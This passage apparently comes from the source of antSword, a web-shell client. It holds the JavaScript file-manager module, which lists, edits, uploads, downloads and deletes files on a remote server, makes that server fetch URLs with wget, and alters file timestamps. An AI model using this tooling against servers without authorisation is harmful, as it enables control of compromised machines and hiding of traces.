() => {\n          manager.deleteFile(ids);\n        } },\n        { text: LANG['grid']['contextmenu']['rename'], icon: 'fa fa-font', disabled: !id || ids.length > 1, action: () => {\n          manager.renameFile(id);\n        } },\n        { text: LANG['grid']['contextmenu']['modify'], icon: 'fa fa-clock-o', disabled: !id || ids.length > 1, action: () => {\n          // manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText);\n          manager.retimeFile(id, this.getRowAttribute(_ids[0], 'data')[2]);\n        } },\n        { divider: true },\n        { text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [\n          { text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) },\n          { text: LANG['grid']['contextmenu']['create']['file'], icon: 'fa fa-file-o', action: manager.createFile.bind(manager) }\n        ] }\n      ];\n\n      bmenu(menu, event);\n\n      return true;\n    });\n\n    // 选择事件\n    grid.attachEvent('onRowSelect', (id, lid, event) => {\n      bmenu.hide();\n    });\n\n    // 双击文件\n    // :如果可预览并且小于 1MB，则进行预览\n    // :如果size < 100kb，则进行编辑，否则进行下载\n    grid.attachEvent('onRowDblClicked', (id, lid, event) => {\n      const fname = grid.getRowAttribute(id, 'fname');\n      const fsize = grid.getRowAttribute(id, 'fsize');\n      if (!fname.endsWith('/')) {\n        if(self.checkPreview(fname) && fsize <= 1000 * 1024){\n          manager.previewFile(fname, fsize);\n        }else if(fsize <= 100 * 1024){\n          // 双击编辑size < 100kb 文件\n          manager.editFile(fname);\n        }else{\n          manager.downloadFile(fname, fsize);\n        }\n      }else{\n        self.gotoPath(fname);\n      }\n    });\n\n    // 键盘按下事件\n    grid.attachEvent('onKeyPress', (code, cFlag, sFlag)=>{\n      switch (true){\n      case (code <= 90 && code >= 65)||(code<=57 && code >= 48):\n        // A-Z 0-9\n        var input = String.fromCharCode(code);\n        input = input.toLowerCase();\n        var sid = 0;\n        var ids = grid.getAllRowIds().split(\",\");\n        for (var i=0; i<ids.length; i++) {\n          var _id = parseInt(ids[i]);\n          var fname = grid.getRowAttribute(_id, \"fname\");\n          if(fname.startsWith(input)){\n            sid = _id - 1;\n            grid.selectRow(sid);\n            break;\n          }\n        }\n        break\n      case (code == 38):\n        //up\n        var ids = grid.getAllRowIds().split(\",\");\n        var sid = grid.getSelectedRowId().toString();\n        var cid = ids.indexOf(sid) <= 0 ? parseInt(ids[0]) - 1 : parseInt(ids[ids.indexOf(sid)-1])-1;\n        grid.selectRow(cid);\n        break;\n      case (code == 40):\n        //down\n        var ids = grid.getAllRowIds().split(\",\");\n        var sid = grid.getSelectedRowId().toString();\n        var cid = ids.indexOf(sid) >= ids.length-1 ? parseInt(ids[ids.length-1])-1 : parseInt(ids[ids.indexOf(sid) + 1])-1;\n        grid.selectRow(cid);\n        break;\n      default:\n        break;\n      }\n    });\n\n    grid.init();\n\n    this.grid = grid;\n    this.cell = cell;\n    this.toolbar = toolbar;\n    this.manager = manager;\n\n    // 剪贴板\n    this.Clipboard = {};\n\n    // 文件拖拽上传\n    $(this.cell.cell).on({\n      dragleave: (e) => { e.preventDefault() },\n      drop: (e) => {\n        e.preventDefault();\n        let filePaths = [];\n        let files = e.originalEvent['dataTransfer']['files'] || {};\n        for (let i = 0; i < files.length; i++) {\n          let f = files.item(i);\n          filePaths.push(f['path']);\n        }\n        this.manager.uploadFile(filePaths);\n      },\n      dragenter: (e) => { e.preventDefault() },\n      dragover: (e) => { e.preventDefault() }\n    });\n  }\n\n  checkPreview(name) {\n    // 可预览文件后缀\n    let isPreviewed = false;\n    'jpeg,jpg,png,gif,bmp,ico'.split(',').map(\n      (e) => {\n        name.toLowerCase().endsWith(`.${e}`) ? isPreviewed = true : 0;\n      }\n    );\n    return isPreviewed;\n  }\n\n  // 刷新当前目录\n  // 如果传递路径参数，则刷新该路径下的文件，不跳转，否则刷新&&跳转\n  refreshPath(p) {\n    let path = p || this.manager.path;\n    // delete this.manager.cache[path];\n    this.manager.cache.del('filemanager-files-' + new Buffer(path).toString('base64'));\n    // 删除文件夹缓存\n    for (let _ in this.manager.folder.cache) {\n      if (_.indexOf(path) === 0 && _ != path) {\n        delete this.manager.folder.cache[_];\n      }\n    }\n    if (!p) { this.gotoPath('.') };\n  }\n\n  // 跳转目录\n  gotoPath(path) {\n    let self = this;\n    this.cell.progressOn();\n    try{\n      this.manager.getFiles(path, (files) => {\n        self.parse(files);\n        self.manager.folder.parse(files);\n        // self.cell.progressOff();\n      });\n    }catch(e) {\n      toastr.error(e, LANG_T['error']);\n      self.cell.progressOff();\n    }\n  }\n\n  // 解析数据\n  parse(files) {\n\n    let data = [];\n    let self = this;\n    let _id = 1;\n    files.map( (file) => {\n      if (!file['name'] || ['./', '../'].indexOf(file['name']) != -1) {return};\n      data.push({\n        id: _id,\n        fname: file['name'],\n        fsize: parseInt(file['size']),\n        // 如果是可执行文件（exe、dll..），则设置为红色字体\n        style: /\\.exe$|\\.dll$|\\.bat$|\\.sh$|\\.com$/.test(file['name']) ? 'color:red' : '',\n        data: [\n          self.fileIcon(file['name']),\n          antSword.noxss(file['name'].replace(/\\/$/, '')),\n          antSword.noxss(file['time']),\n          antSword.noxss(self.fileSize(parseInt(file['size']))),\n          antSword.noxss(file['attr'])\n        ]\n      });\n      _id ++;\n    } );\n\n\n    this.cell.setText(`<i class=\"fa fa-file-o\"></i> ${LANG['title']} (${data.length})`);\n    this.grid.clearAll();\n    this.grid.parse({\n        'rows': data\n    }, 'json');\n\n    // 设置path路径\n    this.toolbar.getInput('path').value = this.manager.path;\n\n    this.cell.progressOff();\n    this.reloadToolbar();\n  }\n\n  // 文件大小计算\n  fileSize(t) {\n    let i = false;\n    let b = [\"b\",\"Kb\",\"Mb\",\"Gb\",\"Tb\",\"Pb\",\"Eb\"];\n    for (let q=0; q<b.length; q++) if (t > 1024) t = t / 1024; else if (i === false) i = q;\n    if (i === false) i = b.length-1;\n    return Math.round(t*100)/100+\" \"+b[i];\n  }\n\n  // 返回文件图标\n  fileIcon(name) {\n    let icons = {};\n    const _icons = {\n      'exe,dll': 'file',\n      'jpg,png,gif,ico,bmp': 'file-image-o',\n      'mp4,mpeg,avi,rm,rmvb': 'file-movie-o',\n      'mp3,mid,wav': 'file-sound-o',\n      'pdf': 'file-pdf-o',\n      'ppt': 'file-powerpoint-o',\n      'xls,xlsx': 'file-excel-o',\n      'doc,docx': 'file-word-o',\n      'zip,tar,7z,gz,rar': 'file-archive-o',\n      'txt,ttf,tiff,ini,log,chm,conf,cfg': 'file-text-o',\n      'php,asp,jsp,sql,cfm,aspx,html,js,py,rb,pl,go,css,less,jsx,sass,xml,sh,bat,h,cpp,c,m': 'file-code-o'\n    }\n    for (let _ in _icons) {\n      let _arr = _.split(',');\n      _arr.map( (a) => {\n        icons[a] = _icons[_];\n      });\n    }\n    // 默认图标\n    let icon = 'file-o';\n    // 判断是否为文件夹\n    if (name.endsWith('/')) {\n      icon = 'folder-o';\n    }else{\n      let _ = name.split('.');\n      let ext = _[_.length - 1].toLowerCase();\n      icon = icons[ext] || icon;\n    };\n    return `<i class=\"fa fa-${icon} fa-lg\"></i>`;\n  }\n\n}\n\n// export default Files;\nmodule.exports = Files;\n"
  },
  {
    "path": "antSword/source/modules/filemanager/folder.js",
    "content": "//\n// 左侧目录 模块\n//\n\nconst LANG_T = antSword['language']['toastr'];\nconst LANG = antSword['language']['filemanager']['folder'];\n\nclass Folder {\n\n  // 需要参数\n  // 1.cell: 左侧layout.cell对象\n  constructor(cell, manager) {\n    cell.setWidth(250);\n    // 创建tree\n    let tree = cell.attachTree();\n    // tree事件\n    tree.attachEvent('onClick', (id) => {\n      manager.files.gotoPath(id);\n    });\n\n    this.tree = tree;\n    this.cell = cell;\n    this.cache = {};\n    this.manager = manager;\n    this.setTitle(0);\n\n  }\n\n  parse(files) {\n\n    let self = this;\n    // 解析测试\n    let path = this.manager.path.replace(/\\/$/, '');\n    // 解析盘符\n    this.manager.devices.map((_) => {\n      self.cache[_] = {};\n      self.tree.deleteItem(_);\n    });\n    // 1. 分解当前路径\n    let curPath = '';\n    path.split('/').map((p) => {\n      curPath += `${p}/`;\n      // 添加到缓存\n      self.cache[curPath] = 0;\n    });\n    // 2. 解析当前子目录\n    let folderNum = 0;\n    files.map((f) => {\n      let _ = f['name'];\n      if (!_.endsWith('/') || ['./', '../'].indexOf(_) !== -1) {return};\n      self.cache[`${curPath}${_}`] = 0;\n      folderNum ++;\n    });\n    // 设置标题\n    this.setTitle(folderNum);\n\n    // 3. 解析缓存为树形菜单虚拟对象\n    // /var/www/html 根据/分割为数组，循环，相加，增加到虚拟缓存\n    let vscache = {};\n    let parseObj = (o, p) => {\n      let start = p.substr(0, p.indexOf('/')) + '/';\n      let end = p.substr(start.length);\n\n      o[start] = o[start] || {};\n      if (end.length > 0) {\n        parseObj(o[start], end);\n      }\n    }\n    for (let c in self.cache) {\n      parseObj(vscache, c);\n    }\n\n\n    // 解析为树形菜单数据\n    let parseItem = (obj, path) => {\n      let _arr = [];\n      for (let _ in obj) {\n        let _path = path + _;\n        let _obj = {\n          id: antSword.noxss(_path),\n          text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) ? _ : _.replace(/\\/$/, ''))\n        };\n        let _result = parseItem(obj[_], _path);\n        if (_result) {\n          _obj['item'] = _result;\n        };\n        if (_path === self.manager.path) {\n          _obj['open'] = 1;\n          _obj['select'] = 1;\n        };\n        _arr.push(_obj);\n      }\n      return _arr;\n    }\n\n    let items = parseItem(vscache, '');\n\n    this.tree.parse({\n      id: 0,\n      item: items\n    }, 'json');\n\n    this.cell.progressOff();\n  }\n\n  /**\n   * 设置标题\n   * @param {Number} num 当前目录数\n   */\n  setTitle(num) {\n    this.cell.setText(`<i class=\"fa fa-folder-o\"></i> ${LANG['title']} (${num})`);\n  }\n\n}\n\n// export default Folder;\nmodule.exports = Folder;\n"
  },
  {
    "path": "antSword/source/modules/filemanager/index.js",
    "content": "/**\n * 文件管理模板\n * 更新：2016/05/14\n * 作者：蚁逅 <https://github.com/antoor>\n */\n'use strict';\n\nconst Files = require('./files');\nconst Tasks = require('./tasks');\nconst Folder = require('./folder');\nconst ENCODES = require('../../base/encodes');\n\nconst fs = require('fs');\nconst iconv = require('iconv-lite');\nconst crypto = require('crypto');\nconst mime = require(\"mime\");\nconst PATH = require(\"path\");\nconst dialog = antSword.remote.dialog;\n\n// 加载语言模板\nconst LANG = antSword['language']['filemanager'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass FileManager {\n\n  constructor(opts) {\n    const tabbar = antSword['tabbar'];\n    const hash = String(Math.random()).substr(2, 10);\n\n    tabbar.addTab(\n      `tab_filemanager_${hash}`,\n      `<i class=\"fa fa-folder-o\"></i> ${opts['ip']}`,\n      null, null, true, true\n    );\n\n    // 创建框架\n    const cell = tabbar.cells(`tab_filemanager_${hash}`);\n    // 增加到全局变量方便调试\n    antSword['modules']['filemanager'] = antSword['modules']['filemanager'] || {};\n    antSword['modules']['filemanager'][hash] = this;\n\n    this.isWin = true;\n    this.path = '/';\n    this.home = '/';\n    this.devices = [];\n    // this.cache = {};\n    this.cell = cell;\n    this.opts = opts;\n    this.cache = new antSword['CacheManager'](opts['_id']);\n    this.core = new antSword['core'][opts['type']](opts);\n    this.win = new dhtmlXWindows();\n    this.win.attachViewportTo(this.cell.cell);\n\n    // 获取基本信息\n    const cache_info = this.cache.get('info');\n    if (cache_info) {\n      this.initUI(cache_info);\n    }else{\n      this.cell.progressOn();\n      this.core.request(\n        this.core.base.info()\n      ).then((ret) => {\n        this.initUI(ret['text']);\n        this.cell.progressOff();\n      }).catch((err) => {\n        this.cell.progressOff();\n        this.cell.close();\n        toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);\n      });\n      // this.core.base.info((ret) => {\n      //   this.initUI(ret);\n      //   this.cell.progressOff();\n      // }, (err) => {\n      //   this.cell.progressOff();\n      //   this.cell.close();\n      //   toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);\n      // });\n    }\n  }\n\n  // 初始化UI\n  initUI(ret) {\n    // 判断获取数据是否正确\n    let info = ret.split('\\t');\n    if (!info.length >= 2) {\n      toastr.error('Loading infomations failed!<br/>' + ret, LANG_T['error']);\n      this.cache.del('info');\n      return this.cell.close();\n    };\n    let info_path = info[0].replace(/\\\\/g, '/').replace(/\\.$/, '');\n    let info_drive = info[1];\n\n    // 判断是否为linux\n    if (info_path.substr(0, 1) === '/') {\n      this.isWin = false;\n    };\n    this.path = info_path;\n    this.home = info_path;\n    info_drive.split(':').map((_) => {\n      if (!_) { return };\n      this.devices.push(_ === '/' ? _ : _ + ':/');\n    });\n\n    // 模块对象\n    const layout = this.cell.attachLayout('3L');\n    this.folder = new Folder(layout.cells('a'), this);\n    this.files = new Files(layout.cells('b'), this);\n    this.tasks = new Tasks(layout.cells('c'), this);\n\n    this.folder.cell.progressOn();\n    this.files.cell.progressOn();\n    this.getFiles(this.path, (files) => {\n      this.folder.parse(files);\n      this.files.parse(files);\n    });\n  }\n\n  // 本地存储\n  // storage('save_key').get('{}')\n  // storage('save_key').set('{a:123}')\n  storage(key) {\n    let md5 = crypto.createHash('md5');\n    md5.update(this.opts['url']);\n    const k = `${md5.digest('hex').substr(0, 11)}_${key}`\n    return {\n      get: (def) => localStorage.getItem(k) || def,\n      set: (val) => localStorage.setItem(k, val)\n    }\n  }\n\n  // 获取目录文件列表\n  getFiles(p, callback) {\n\n    let self = this;\n    let path = this.changePath(p);\n    let cache;\n\n    if (!path.endsWith('/')) { path += '/' };\n    this.path = path;\n    let cache_tag = 'filemanager-files-' + new Buffer(this.path).toString('base64');\n\n    // 判断是否有缓存\n    // if (cache = this.cache[path]) {\n    //   return callback(cache);\n    // };\n    if ((this.opts.otherConf || {})['filemanager-cache'] !== 0 && (cache = this.cache.get(cache_tag))) {\n      return callback(JSON.parse(cache));\n    };\n\n    this.core.request(\n      this.core.filemanager.dir({\n        path: path\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      // 判断是否出错\n      if (ret.startsWith('ERROR://')) {\n        callback([]);\n        return toastr.error(ret.substr(9), LANG_T['error']);\n      };\n      let tmp = ret.split('\\n');\n\n      tmp.sort();\n\n      let folders = [];\n      let files = [];\n\n      tmp.map( (t) => {\n        let _ = t.split('\\t');\n        let d = {\n          name: _[0],\n          time: _[1],\n          size: _[2],\n          attr: _[3]\n        }\n        if (_[0].endsWith('/')) {\n          folders.push(d);\n        }else{\n          files.push(d);\n        }\n      } );\n\n      let data = folders.concat(files);\n      callback(data);\n\n      // 增加缓存\n      // self.cache[path] = data;\n      this.cache.set(cache_tag, JSON.stringify(data));\n    }).catch((err) => {\n      toastr.error((err instanceof Object) ? JSON.stringify(err) : String(err), LANG_T['error']);\n    })\n\n    // this.core.filemanager.dir({\n    //   path: path\n    // }, (ret) => {\n    //   // 判断是否出错\n    //   if (ret.startsWith('ERROR://')) {\n    //     callback([]);\n    //     return toastr.error(ret.substr(9), LANG_T['error']);\n    //   };\n    //   let tmp = ret.split('\\n');\n    //\n    //   tmp.sort();\n    //\n    //   let folders = [];\n    //   let files = [];\n    //\n    //   tmp.map( (t) => {\n    //     let _ = t.split('\\t');\n    //     let d = {\n    //       name: _[0],\n    //       time: _[1],\n    //       size: _[2],\n    //       attr: _[3]\n    //     }\n    //     if (_[0].endsWith('/')) {\n    //       folders.push(d);\n    //     }else{\n    //       files.push(d);\n    //     }\n    //   } );\n    //\n    //   let data = folders.concat(files);\n    //   callback(data);\n    //\n    //   // 增加缓存\n    //   // self.cache[path] = data;\n    //   this.cache.set(cache_tag, JSON.stringify(data));\n    // }, (err) => {\n    //   toastr.error((err instanceof Object) ? JSON.stringify(err) : String(err), LANG_T['error']);\n    // });\n  }\n\n  // 更改目录，返回最终绝对路径\n  changePath(path) {\n    if (!this.path.endsWith('/')) {\n      this.path += '/';\n    };\n    if (!path.endsWith('/')) {\n      path += '/';\n    };\n    // 如果是当前目录，返回\n    if (path === './') {\n      return this.path;\n    // 如果是上级目录，则判断是否为最后一级？返回最后一级：返回上一级\n    }else if (path === '../') {\n      let _ = this.path.split('/');\n      if (_.length === 2) {\n        return _.join('/');\n      }else if (_.length > 2) {\n        _.pop();\n        _.pop();\n        _.length === 1 ? _.push('') : 0;\n        return _.join('/');\n      }else{\n        return this.path;\n      }\n    // 如果是根目录，返回\n    }else if (path.startsWith('/') || path.substr(1, 2) === ':/') {\n      return path;\n    // 如果是相对路径，返回绝对全路径\n    }else{\n      return this.path + path;\n    }\n  }\n\n  // 删除文件/目录\n  deleteFile(files) {\n\n    let self = this;\n\n    layer.confirm(\n      LANG['delete']['confirm'](files.length > 1 ? files.length : files[0]),\n      {\n        icon: 2,\n        shift: 6,\n        //skin: 'layui-layer-molv',\n        title: `<i class=\"fa fa-trash\"></i> ${LANG['delete']['title']}`,\n      },\n      (_) => {\n        layer.close(_);\n\n        files.map((p) => {\n          ((p) => {\n            const path = this.path + p;\n            this.files.cell.progressOn();\n            this.core.request(\n              this.core.filemanager.delete({\n                path: path\n              })\n            ).then((res) => {\n              let ret = res['text'];\n              this.files.cell.progressOff();\n              if (ret === '1') {\n                toastr.success(LANG['delete']['success'](path), LANG_T['success']);\n                this.files.refreshPath();\n              }else{\n                toastr.error(LANG['delete']['error'](path, ret === '0' ? false : ret), LANG_T['error']);\n              }\n            }).catch((err) => {\n              this.files.cell.progressOff();\n              toastr.error(LANG['delete']['error'](path, err), LANG_T['error']);\n            });\n            // this.core.filemanager.delete({\n            //   path: path\n            // }, (ret) => {\n            //   this.files.cell.progressOff();\n            //   if (ret === '1') {\n            //     toastr.success(LANG['delete']['success'](path), LANG_T['success']);\n            //     this.files.refreshPath();\n            //   }else{\n            //     toastr.error(LANG['delete']['error'](path, ret === '0' ? false : ret), LANG_T['error']);\n            //   }\n            // }, (err) => {\n            //   this.files.cell.progressOff();\n            //   toastr.error(LANG['delete']['error'](path, err), LANG_T['error']);\n            // })\n          })(p);\n        });\n      }\n    )\n\n  }\n\n  // 粘贴文件/文件夹\n  // source: 复制源文件/目录\n  // name: 复制文件/目录名\n  pasteFile(source, name) {\n\n    const target = this.path + name;\n\n    this.files.cell.progressOn();\n    this.core.request(\n      this.core.filemanager.copy({\n        path: source,\n        target: target\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      this.files.cell.progressOff();\n      if (ret === '1') {\n        // 刷新目录\n        this.files.refreshPath();\n        // 删除缓存\n        delete this.files.Clipboard[name];\n        toastr.success(LANG['paste']['success'](name), LANG_T['success']);\n      }else{\n        toastr.error(LANG['paste']['error'](name, ret === '0' ? false : ret), LANG_T['error']);\n      }\n    }).catch((err) => {\n      toastr.error(LANG['paste']['error'](name, err), LANG_T['error']);\n    });\n  }\n\n  // 重命名\n  renameFile(name) {\n    const isDir = name.endsWith('/');\n    layer.prompt({\n      value: antSword.noxss(name.replace(/\\/$/, '')),\n      title: `<i class=\"fa fa-fa fa-font\"></i> ${LANG['rename']['title']} (${antSword.noxss(name)})`\n    }, (value, index, elem) => {\n      this.files.cell.progressOn();\n      this.core.request(\n        this.core.filemanager.rename({\n          path: this.path + name,\n          name: this.path + value + ((isDir && !value.endsWith('/')) ? '/' : '')\n        })\n      ).then((res) => {\n        let ret = res['text'];\n        this.files.cell.progressOff();\n        if (ret === '1') {\n          this.files.refreshPath();\n          toastr.success(LANG['rename']['success'], LANG_T['success']);\n        }else{\n          toastr.error(LANG['rename']['error'](ret === '0' ? false : ret), LANG_T['error']);\n        }\n      }).catch((err) => {\n        toastr.error(LANG['rename']['error'](err), LANG_T['error']);\n      });\n      layer.close(index);\n    });\n  }\n\n  // 新建目录\n  createFolder() {\n    layer.prompt({\n      value: LANG['createFolder']['value'],\n      title: `<i class=\"fa fa-folder\"></i> ${LANG['createFolder']['title']}`\n    }, (value, i, e) => {\n      this.files.cell.progressOn();\n      this.core.request(\n        this.core.filemanager.mkdir({\n          path: this.path + value\n        })\n      ).then((res) => {\n        let ret = res['text'];\n        this.files.cell.progressOff();\n        if (ret === '1') {\n          this.files.refreshPath();\n          toastr.success(LANG['createFolder']['success'](value), LANG_T['success']);\n        }else{\n          toastr.error(LANG['createFolder']['error'](value, ret === '0' ? false : ret), LANG_T['error']);\n        }\n      }).catch((err) => {\n        toastr.error(LANG['createFolder']['error'](value, err), LANG_T['error']);\n      });\n      layer.close(i);\n    });\n  }\n\n  // 新建文件\n  createFile() {\n    layer.prompt({\n      value: LANG['createFile']['value'],\n      title: `<i class=\"fa fa-file\"></i> ${LANG['createFile']['title']}`\n    }, (value, i, e) => {\n      this.files.cell.progressOn();\n\n      // 发起http请求\n      this.core.request(\n        this.core.filemanager.create_file({\n          path: this.path + value,\n          content: 'Halo ANT!'\n        })\n      ).then((res) => {\n        let ret = res['text'];\n        this.files.cell.progressOff();\n        if (ret === '1') {\n          this.files.refreshPath();\n          toastr.success(LANG['createFile']['success'](value), LANG_T['success']);\n        }else{\n          toastr.error(LANG['createFile']['error'](value, ret === '0' ? false : ret), LANG_T['error']);\n        }\n      }).catch((err) => {\n        toastr.error(LANG['createFile']['error'](value, err), LANG_T['error']);\n      });\n      layer.close(i);\n    })\n  }\n\n  // 重命名文件/夹\n  retimeFile(name, oldtime) {\n    layer.prompt({\n      value: oldtime,\n      title: `<i class=\"fa fa-clock-o\"></i> ${LANG['retime']['title']} (${antSword.noxss(name)})`,\n      content: `<input type=\"text\" class=\"layui-layer-input\" onClick=\"laydate({istime: true, format: 'YYYY-MM-DD hh:mm:ss'});\" value=\"${oldtime}\">`\n    }, (value, i, e) => {\n      this.files.cell.progressOn();\n\n      // http request\n      this.core.request(\n        this.core.filemanager.retime({\n          path: this.path + name,\n          time: value\n        })\n      ).then((res) => {\n        let ret = res['text'];\n        this.files.cell.progressOff();\n        if (ret === '1') {\n          this.files.refreshPath();\n          toastr.success(LANG['retime']['success'](name), LANG_T['success']);\n        }else{\n          toastr.error(LANG['retime']['error'](name, ret === '0' ? false : ret), LANG_T['error']);\n        }\n      }).catch((err) => {\n        toastr.error(LANG['retime']['error'](name, err), LANG_T['error']);\n      });\n      layer.close(i);\n    })\n  }\n\n  // 预览文件(图片、视频)\n  previewFile(name, size) {\n    let that = this;\n    const remote_path = this.path + name;\n    const win = that.createWin({\n      title: 'Loading File: ' + remote_path,\n      width: 800,\n      height: 600,\n    });\n    var filemime = mime.lookup(name);\n    let savepath = PATH.join(process.env.AS_WORKDIR,`antData/.temp/`,new Buffer(name).toString(\"hex\"));\n    win.cell.lastChild['style']['overflow'] = 'scroll';\n    win.cell.lastChild['style']['textAlign'] = 'center';\n\n    let down_size = 0;\n    this.core.download(\n      savepath\n      ,this.core.filemanager.read_file({path: remote_path})\n      , (_size) => {\n        down_size += _size;\n        let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);\n        if (!(down_progress % 5)) {\n          win.setText(`Preview File: ${remote_path} ${down_progress}%`);\n        };\n      }\n    ).then((_size) => {\n      if (_size === size) {\n        win.setText(`Preview File: ${remote_path}`);\n        let buff = fs.readFileSync(savepath);\n        switch (filemime){\n          default:\n            let data = new Buffer(buff).toString('base64');\n            win.attachHTMLString(`<img style=\"width:100%\" src=\"data:/${filemime};base64,${data}\"/>`);\n            break;\n        }\n        fs.unlink(savepath);\n      }else{\n        fs.unlink(savepath);\n        throw Error(`Load Error: downsize ${_size} != ${size}`);\n      }\n    }).catch((err) => {\n\n    });\n  }\n\n  // 下载文件\n  downloadFile(name, size) {\n    const path = this.path + name;\n    const task = this.tasks.new(LANG['download']['task']['name'], path , LANG['download']['task']['wait']);\n    // 获取要保存的路径\n    dialog.showSaveDialog({\n      title: LANG['download']['title'],\n      defaultPath: name\n    }, (filePath) => {\n      if (!filePath) { return task.end(LANG['download']['task']['cancel']) };\n      task.update(LANG['download']['task']['start']);\n      let down_size = 0;\n      // 删除旧文件（如果存在\n      if (fs.existsSync(filePath)) {\n        fs.unlinkSync(filePath);\n      }\n      this.core.download(\n        filePath\n        , this.core.filemanager.download_file({\n          path: path\n        })\n        , (_size) => {\n          // 计算进度百分比\n          down_size += _size;\n          let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);\n\n          if (!(down_progress % 5)) {\n            task.update(down_progress + '%');\n          };\n        }\n      ).then((_size) => {\n        if (_size === size) {\n          task.success(LANG['download']['task']['success']);\n          toastr.success(LANG['download']['success'](name), LANG_T['success']);\n        // }else if (_size === 21) {\n        //   task.failed('len=' + _size);\n        }else{\n          throw Error(`SizeErr: ${_size} != ${size}`);\n          // task.failed(LANG['download']['task']['error']())\n        }\n      }).catch((err) => {\n        task.failed(LANG['download']['task']['error'](err));\n        toastr.error(LANG['download']['error'](name, err), LANG_T['error']);\n      });\n    });\n  }\n\n  // wget文件\n  wgetFile() {\n    let self = this;\n    let hash = +new Date();\n    // 获取URL\n    let _index = layer.prompt({\n      title: `<i class=\"fa fa-cloud-download\"></i> ${LANG['wget']['title']}`,\n      content: '<input type=\"text\" style=\"width:300px;\" class=\"layui-layer-input\" id=\"url_' + hash + '\" value=\"http://\" placeholder=\"target url\"><p/><input style=\"width:300px;\" type=\"text\" id=\"path_' + hash + '\" class=\"layui-layer-input\" value=\"' + self.path + '\" placeholder=\"file name\">',\n      btn: ['wget'],\n      yes: (i) => {\n\n        let _url = $(`#url_${hash}`);\n        let _path = $(`#path_${hash}`);\n\n        let url = _url.val();\n        let path = _path.val();\n\n        if (url.split('/').length < 4) {\n          _url.focus();\n          return toastr.warning(LANG['wget']['check'], LANG_T['warning']);\n        };\n        if (path.length < 1) {\n          return _path.focus();\n        };\n        const task = this.tasks.new(LANG['wget']['task']['name'], `${url} -> ${path}`);\n        task.update(LANG['wget']['task']['start']);\n\n        // http request\n        this.core.request(\n          this.core.filemanager.wget({\n            url: url,\n            path: path\n          })\n        ).then((res) => {\n          let ret = res['text'];\n          // 下载成功？当前目录？刷新：删除缓存\n          if (ret === '1') {\n            task.success(LANG['wget']['task']['success']);\n            let _ = path.substr(0, path.lastIndexOf('/') + 1);\n            this.files.refreshPath((_ === self.path) ? false : _);\n          }else{\n            task.failed(LANG['wget']['task']['failed'](ret));\n          }\n        }).catch((err) => {\n          task.failed(LANG['wget']['task']['error'](err));\n        });\n        layer.close(i);\n      }\n    });\n    $(`#layui-layer${_index}`).css('width', '400px');\n  }\n\n  /**\n   * 上传文件\n   * @param  {Array} _filePaths 要上传的本地文件路径（可选，如未指定，则调用文件选择框\n   * @return {None}            [description]\n   */\n  uploadFile(_filePaths) {\n    // 任务列表\n    let tasks = {};\n    // 上传路径\n    let path = this.path;\n    new Promise((res, rej) => {\n      // 获取要上传的文件列表\n      if (Array.isArray(_filePaths) && _filePaths.length > 0) {\n        return res(_filePaths);\n      }\n      dialog.showOpenDialog({\n        properties: [ 'openFile', 'multiSelections' ]\n      }, (_filePaths) => {\n        if (!_filePaths) { return };\n        return res(_filePaths);\n      })\n    }).then((filePaths) => {\n      // 初始化任务\n      filePaths.map((f) => {\n        const fileName = f.substr(f.lastIndexOf('/') + 1);\n        tasks[f] = this.tasks.new(LANG['upload']['task']['name'], `${fileName} => ${path}`, 'Waiting for uploading..');\n      });\n      return filePaths;\n    }).then((filePaths) => {\n      // 文件上传（逐个队列上传\n      const upload = () => {\n        new Promise((res, rej) => {\n          // 获取单个上传文件\n          let filePath = filePaths.shift();\n          if (filePath) {\n            res(filePath);\n          }\n        }).then((filePath) => {\n          // 上传单个\n          let buffIndex = 0;\n          let buff = [];\n          // 分段上传大小，默认0.5M(jsp 超过1M响应会出错)\n          let dataSplit = 512 * 1024;\n          if (this.opts['type'].toLowerCase() === 'php') {\n            dataSplit = 1024 * 1024\n          }\n          let task = tasks[filePath];\n          // 获取文件名\n          let fileName = filePath.substr(filePath.lastIndexOf('/') + 1);\n          // 读取文件buff\n          let fileBuff;\n          try {\n            fileBuff = fs.readFileSync(filePath);\n          } catch (e) {\n            return task.failed(e);\n          }\n          // 文件数据分段\n          let buffLength = fileBuff.length;\n          while (buffIndex <= buffLength) {\n            let buffSplit = fileBuff.slice(buffIndex, buffIndex + dataSplit);\n            buffIndex += dataSplit;\n            buff.push(buffSplit);\n          }\n          // 开始上传\n          const uploadBuffFunc = (_buff) => {\n            new Promise((res, rej) => {\n              let _b = _buff.shift();\n              if (_b) {\n                res(_b);\n              }else{\n                // 上传完毕\n                task.success(LANG['upload']['task']['success']);\n                toastr.success(LANG['upload']['success'](fileName), LANG_T['success']);\n                // 刷新缓存\n                this.files.refreshPath(path === this.path ? '' : path);\n                // 继续上传\n                return upload();\n              }\n            }).then((b) => {\n              // 更新进度条\n              task.update(`${parseInt((buffLength - (b.length * _buff.length)) / buffLength * 100)}%`);\n              this.core.request(\n                this.core.filemanager.upload_file({\n                  path: path + fileName,\n                  content: b\n                })\n              ).then((res) => {\n                let ret = res['text'];\n                if (ret === '1') {\n                  return uploadBuffFunc(_buff);\n                }\n                task.failed(LANG['upload']['task']['failed'](ret));\n                toastr.error(LANG['upload']['error'](\n                  fileName,\n                  ret === '0' ? '' : `<br/>${ret}`\n                ), LANG_T['error']);\n              }).catch((err) => {\n                task.failed(LANG['upload']['task']['error'](err));\n                toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']);\n              });\n            })\n          }\n          uploadBuffFunc(buff);\n        });\n      };\n      upload();\n    });\n  }\n\n  // 编辑文件\n  editFile(name) {\n    let self = this;\n    let path = this.path + name;\n    let editor = null;\n    let codes = '';\n    // 创建窗口\n    let win = this.createWin({\n      title: LANG['editor']['title'](path),\n      width: 800\n    });\n    win.maximize();\n    win.progressOn();\n\n    // 检测文件后缀\n    let ext = name.substr(name.lastIndexOf('.') + 1);\n    let ext_dict = 